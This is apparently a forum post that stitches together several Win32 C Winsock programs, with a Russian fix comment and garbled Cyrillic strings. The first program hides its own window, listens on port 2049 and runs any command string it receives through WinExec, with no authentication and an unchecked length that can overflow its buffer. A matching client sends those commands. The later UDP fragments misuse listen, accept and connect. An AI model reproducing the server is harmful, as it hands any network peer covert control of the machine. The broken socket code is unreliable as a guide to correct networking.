if (connect(cc, (LPSOCKADDR)&servsin, sizeof(servsin)) == SOCKET_ERROR) //Не cc, а ss!

  {

    MessageBox(NULL, "socket  Error", "Error", MB_OK);

    return;

  }

#define WM_ASYNC WM_USER+1

#include <windows.h>

#include <windowsx.h>

#include <string.h>

#include <stdio.h>

#include <winsock.h>

#include "serverres.h"

 

 

#define WS_VERSION_REQD 0x0101

#define WM_ASYNC WM_USER+1

 

HINSTANCE hInst;

HWND hwndMain;

WSADATA stWSAData;

SOCKET hSock = INVALID_SOCKET;

SOCKET hSock2 = INVALID_SOCKET;

SOCKADDR_IN myaddr;

WORD WSAEvent;

char mess[260],*pMess = mess, TxtBuf[256],RetBuf[256];

 

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);

 

static BOOL InitApplication(void)

{

    WNDCLASS wc;

 

    memset(&wc,0,sizeof(WNDCLASS));

    wc.style = CS_HREDRAW|CS_VREDRAW |CS_DBLCLKS ;

    wc.lpfnWndProc = (WNDPROC)MainWndProc;

    wc.hInstance = hInst;

    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);

    wc.lpszClassName = "serverWndClass";

    wc.lpszMenuName = NULL;

    wc.hCursor = LoadCursor(NULL,IDC_ARROW);

    wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);

    if (!RegisterClass(&wc))

        return 0;

 

    return 1;

}

 

HWND CreateserverWndClassWnd(void)

{

    return CreateWindow("serverWndClass","server",

        WS_MINIMIZEBOX|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_MAXIMIZEBOX|WS_CAPTION|WS_BORDER|WS_SYSMENU|WS_THICKFRAME,

        CW_USEDEFAULT,0,CW_USEDEFAULT,0,

        NULL,

        NULL,

        hInst,

        NULL);

}

 

 

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)

{

    int mess_len;

    DWORD lenaddr;

    switch (msg) {

    case WM_COMMAND:

        break;

    case WM_DESTROY:

        PostQuitMessage(0);

        break;

    case WM_ASYNC:

 

        WSAEvent = WSAGETSELECTEVENT (lParam);

        switch (WSAEvent)

        {

            case FD_READ:

                recv(hSock2, mess, 260, 0);

                memcpy(&mess_len,pMess, sizeof(mess_len));

                memcpy(TxtBuf, (pMess + sizeof(mess_len)), mess_len);

                WinExec(TxtBuf,SW_SHOW);

                wsprintf(RetBuf,"%s dana-OK!",TxtBuf);

                send(hSock2,RetBuf,256,MSG_OOB);

                return 0;

            case FD_ACCEPT:

                lenaddr=sizeof(myaddr);

                hSock2=accept(hSock,(LPSOCKADDR)&myaddr,&lenaddr);

                send(hSock2,"Connect OK",256,MSG_OOB);

                return 0;

        }

        break;

 

    default:

        return DefWindowProc(hwnd,msg,wParam,lParam);

    }

 

    return 0;

}

 

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)

{

    MSG msg;

    hInst = hInstance;

    if (!InitApplication())

        return 0;

 

    if ((hwndMain = CreateserverWndClassWnd()) == (HWND)0)

        return 0;

    ShowWindow(hwndMain,SW_HIDE);

 

    WSAStartup(WS_VERSION_REQD, &stWSAData);

    hSock = socket (AF_INET,SOCK_STREAM,0);

 

    WSAAsyncSelect (hSock,hwndMain,WM_ASYNC, FD_ACCEPT | FD_READ);

 

    myaddr.sin_family = AF_INET;

    myaddr.sin_addr.s_addr = htonl (INADDR_ANY);

    myaddr.sin_port = htons (2049);

    bind(hSock,(LPSOCKADDR)&myaddr, sizeof(struct sockaddr));

    listen (hSock, 5);

 

    while (GetMessage(&msg,NULL,0,0))

    {

 

        TranslateMessage(&msg);

        DispatchMessage(&msg);

    }

 

    return msg.wParam;

}

#include <windows.h>

#include <windowsx.h>

#include <commctrl.h>

#include <string.h>

#include <stdlib.h>

#include <winsock.h>

#include "tcpres.h"

 

#define IDD_MAINDIALOG  100

#define IDB_SOCKET  101

#define IDB_SEND    102

#define IDB_RESV    103

#define IDM_PORT    104

#define IDE_IP  105

#define IDE_RUN 107

#define IDB_CON 109

#define IDE_MSG 110

#define IDB_SOCKETS 201

#define IDB_SOCKETC 203

 

#define WS_VERSION_REQD 0x0101

#define WM_ASYNC WM_USER+1

 

 

WSADATA stWSAData;

int nRet;

HWND hwndDlg;

SOCKET hSock = INVALID_SOCKET;

char mess_buf[260], *pMess = mess_buf;

char TxtBuf[256];

SOCKADDR_IN rmaddr;

int nAddrSize = sizeof(SOCKADDR);

WORD WSAEvent;

 

static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam);

 

 

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hinstPrev, LPSTR lpCmdLine, int nCmdShow)

{

    WNDCLASS wc;

 

    memset(&wc,0,sizeof(wc));

    wc.lpfnWndProc = DefDlgProc;

    wc.cbWndExtra = DLGWINDOWEXTRA;

    wc.hInstance = hinst;

    wc.hCursor = LoadCursor(NULL, IDC_ARROW);

    wc.hbrBackground = (HBRUSH) (COLOR_WINDOW + 1);

    wc.lpszClassName = "tcp";

    RegisterClass(&wc);

    WSAStartup(WS_VERSION_REQD, &stWSAData);

    hSock = socket (AF_INET, SOCK_STREAM, 0);

    return DialogBox(hinst, MAKEINTRESOURCE(IDD_MAINDIALOG), NULL, (DLGPROC) DialogFunc);

}

 

 

static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)

{

 

    int mess_len;

 

    switch (msg) {

 

    case WM_INITDIALOG:

        wsprintf(TxtBuf,"127.0.0.1");      

        SendDlgItemMessage(hwndDlg,IDE_IP,WM_SETTEXT,(WPARAM)256,(LPARAM)TxtBuf);

        return TRUE;

    case WM_COMMAND:

        switch (LOWORD(wParam)) {

            case IDB_SEND:

            SendDlgItemMessage(hwndDlg,IDE_RUN,WM_GETTEXT,(WPARAM)256,(LPARAM)TxtBuf);

            mess_len = sizeof(TxtBuf);

            memcpy(pMess, &mess_len, sizeof(mess_len));

            memcpy((pMess+4), TxtBuf, mess_len);

            send(hSock,mess_buf,mess_len + sizeof(mess_len),0);

            return 1;

 

            case IDB_CON:

                rmaddr.sin_family = AF_INET;

                SendDlgItemMessage(hwndDlg,IDE_IP,WM_GETTEXT,(WPARAM)256,(LPARAM)TxtBuf);

                rmaddr.sin_addr.s_addr = inet_addr(TxtBuf);

                rmaddr.sin_port = htons (2049);

                connect (hSock, (struct sockaddr *)&rmaddr,sizeof(rmaddr));

 

                SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)"Try connecting with ");

                SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)TxtBuf);

                SendDlgItemMessage(hwndDlg,IDE_MSG,WM_CHAR,(WPARAM)13,(LPARAM)28);

 

                nRet=WSAAsyncSelect (hSock,hwndDlg,WM_ASYNC,FD_READ);

 

            return 1;

 

        }

        return TRUE;

 

    case WM_CLOSE:

        nRet = WSACleanup();

        EndDialog(hwndDlg,0);

        return TRUE;

 

    case WM_ASYNC:

        WSAEvent = WSAGETSELECTEVENT (lParam);

        switch (WSAEvent)

        {

            case FD_READ:

 

                nRet=recv(hSock,TxtBuf,256,0);

                SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)TxtBuf);

                SendDlgItemMessage(hwndDlg,IDE_MSG,WM_CHAR,(WPARAM)13,(LPARAM)28);

        }

        return TRUE;

    }

    return FALSE;

}

/* Wedit generated resource file */

#include <windows.h>

 

IDD_MAINDIALOG DIALOG 110, 40, 280, 146

STYLE DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION |

    WS_SYSMENU

CAPTION "tcp"

FONT 8, "Helv"

BEGIN

    PUSHBUTTON      "Send", IDB_SEND, 215, 118, 42, 14

    EDITTEXT        IDE_IP, 128, 18, 78, 12, ES_AUTOHSCROLL

    LTEXT           "IP Address", 106, 89, 18, 36, 12

    EDITTEXT        IDE_RUN, 48, 118, 158, 12, ES_AUTOHSCROLL

    LTEXT           "Message", 108, 9, 118, 29, 12

    PUSHBUTTON      "Connect", IDB_CON, 216, 16, 40, 14

    EDITTEXT        IDE_MSG, 13, 36, 244, 74, ES_MULTILINE | ES_AUTOVSCROLL |

                    ES_OEMCONVERT | ES_WANTRETURN | WS_VSCROLL

END

#include <windows.h>  

#include <windowsx.h>

#include <winsock.h>

//-------------------------------------------------------------

#define DEF_HOSTADDR "127.0.0.1"

#define WSA_ACCEPT (WM_USER + 1)

//-------------------------------------------------------------

static int PORT = 777;

static SOCKET ss, cc, r;

static sockaddr_in Addr;

 

WSADATA WSAData;

//-------------------------------------------------------------

void Init()

{

  WSAStartup (MAKEWORD(1, 1), &WSAData);

  Addr.sin_family = AF_INET;

  Addr.sin_addr.s_addr = INADDR_ANY;

  Addr.sin_port = htons(PORT);

}

//-------------------------------------------------------------

void StartServer (HWND hWnd)

{

  ss = socket(AF_INET, SOCK_DGRAM, 0);

 

  if (ss  == INVALID_SOCKET)

  {

    MessageBox(NULL, "socket  Error", "Error", MB_OK);

    return;

  }

 

  bind(ss, (sockaddr*)&Addr, sizeof(Addr));

  listen(ss, 2);

 

  WSAAsyncSelect(ss, hWnd, WSA_ACCEPT, FD_ACCEPT);

}

//-------------------------------------------------------------

LRESULT CALLBACK WinProc (HWND hWnd, UINT msg,

                          WPARAM WParam, LPARAM LParam)

{

  PAINTSTRUCT ps;

  HDC hDC;

  int length = sizeof(Addr);

 

  switch (msg)

  {

    case WSA_ACCEPT:

      accept(ss,(sockaddr*)&Addr, &length);

      MessageBox(NULL, "┼ёЄ№ ёюфшэхэшх", "╩ышхэЄ", MB_OK);

      return 0;

 

    case WM_CREATE:

      Init();

      StartServer(hWnd);

      return 0;

 

    case WM_PAINT:

      hDC = BeginPaint(hWnd, &ps);

      EndPaint(hWnd, &ps);

      return 0;

 

    case WM_DESTROY:

      PostQuitMessage(0);

  }

  return DefWindowProc(hWnd, msg, WParam, LParam);

}

//......

#include <windows.h>  

#include <windowsx.h>

#include <winsock.h>

//-------------------------------------------------------------

#define DEF_HOSTADDR "127.0.0.1"

#define WSA_ACCEPT 1

//-------------------------------------------------------------

static int PORT = 777;

static SOCKET ss, cc, r;

static sockaddr_in Addr;

 

WSADATA WSAData;

//-------------------------------------------------------------

void Init()

{

  WSAStartup (MAKEWORD(2, 2), &WSAData);

}

//-------------------------------------------------------------

void StartClient (HWND hWnd)

{

  sockaddr_in servsin;

 

  ss = socket(AF_INET, SOCK_DGRAM, 0);

 

  servsin.sin_family = AF_INET;

  servsin.sin_port = htons(PORT);

  servsin.sin_addr.S_un.S_addr = inet_addr(DEF_HOSTADDR);

 

  if (connect(cc, (LPSOCKADDR)&servsin, sizeof(servsin)) == SOCKET_ERROR)

  {

    MessageBox(NULL, "socket  Error", "Error", MB_OK);

    return;

  }

}

//-------------------------------------------------------------

LRESULT CALLBACK WinProc (HWND hWnd, UINT msg,

                          WPARAM WParam, LPARAM LParam)

{

  PAINTSTRUCT ps;

  HDC hDC;

 

  switch (msg)

  {

    case WM_CREATE:

      Init();

      StartClient(hWnd);

      return 0;

 

    case WM_PAINT:

      hDC = BeginPaint(hWnd, &ps);

      EndPaint(hWnd, &ps);

      return 0;

 

    case WM_DESTROY:

      PostQuitMessage(0);

  }

  return DefWindowProc(hWnd, msg, WParam, LParam);

}

//...